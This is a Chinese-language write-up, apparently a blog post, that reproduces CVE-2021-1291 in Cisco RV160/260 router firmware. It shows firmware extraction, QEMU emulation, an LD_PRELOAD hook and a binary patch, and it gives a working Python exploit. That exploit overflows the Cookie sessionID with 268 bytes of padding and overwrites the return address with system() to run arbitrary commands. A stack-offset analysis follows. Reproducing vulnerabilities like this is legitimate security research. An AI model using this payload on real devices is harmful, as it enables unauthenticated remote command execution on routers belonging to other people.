Cisco漏洞复现(CVE-2021-1291)
漏洞复现
环境
• 虚拟机:AttifyOS3.0(Ubuntu18)
百度云盘AttifyOS下载地址:https://pan.baidu.com/s/1Vracsnlt5uNbdmfYK4dp8Q
密码:tvoh
• 固件版本:RV16X_26X-v1.0.01.01-2020-08-17-11-09-01-AM
• 工具:IDA、binwalk、arm-gcc
• Linux内核和硬盘映像
下载地址:https://people.debian.org/~aurel32/qemu/armhf/
步骤
- 固件解压
binwalk -Me RV16X_26X-v1.0.01.01-2020-08-17-11-09-01-AM.img
- 固件模拟
//配置网络通信
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.234.131/24 up
//启动虚拟机 密码root
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
//配置qemu虚拟机网络
ifconfig eth0 192.168.234.132/24
漏洞程序为mini_httpd,虚拟机环境与真实设备有区别,需对程序进行库函数拦截及打patch。
程序中setsocket函数会出现错误,重新编写库函数setsocket,并进行交叉编译。
#include <stdio.h>
#include <stdlib.h>
#include<sys/socket.h>
int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen){
return 1;
}
arm-linux-gnueabi-gcc -shared -fPIC hook.c -o hook.so

启动程序会出现403页面,搜索关键字,确定问题点,用IDA对程序目标位置进行修改。
源指令为cmp R3,#0,由于R3为0,弹出403页面,讲指令修改为cmp R3,#1可满足跳转条件。

//将固件、hook程序、打过patch的程序传入qemu虚拟机,命令报错在命令前加sudo
scp -r ./rootfs root@192.168.234.132:/root/
scp -r ./mini_httpd root@192.168.234.132:/root/rootfs/
scp -r ./hook.so root@192.168.234.132:/root/rootfs/
//启动服务(qemu虚拟机进行)
chroot ./rootfs sh
LD_PRELOAD='hook.so' ./mini_httpd
payload
import requests
url = "http://192.168.2.2"
cmd="ls"//执行的命令
payload = ("sessionID="+cmd+";").ljust(268,"a")+"\x1c\xb1\x01"
url= url+"/help"
head= {'Cookie':payload}
r=requests.get(url,headers=head,verify=False)
漏洞分析
漏洞触发点位于web端,先考虑httpd程序,官网公告漏洞在固件v1.0.01.02版本被修复。对修复前后程序进行对比发现,漏洞函数为sub_15CE4,溢出变量为src,与a1、a2有关,通过函数调用链溯源。
调用链为sub_15CE4← sub_16138 ← sub_1625C ← sub_16F60 ← sub_11FA0

a1为sub_1625C的参数a1,a1为sub_16F60变量dword_35190,dword_35190为请求Cookie的Value。


确定溢出点为Cookie中的Session变量。在获得Session值之前存在空格过滤与请求校验。dword_35164为请求文件名字符串的指针。请求对象需满足sub_169F0中要求。sub_16138对Session值进行空格过滤。



漏洞点函数地址空间大小为256+34=268
256为s数组的大小,34为三个指针的大小。
在地址空间后用system函数地址覆盖返回地址,函数返回时r0为栈中内容,故将待执行指令放入Session中。
故payload需满足待执行命令加填充字符长度为268,后为system地址。

2956

被折叠的 条评论
为什么被折叠?



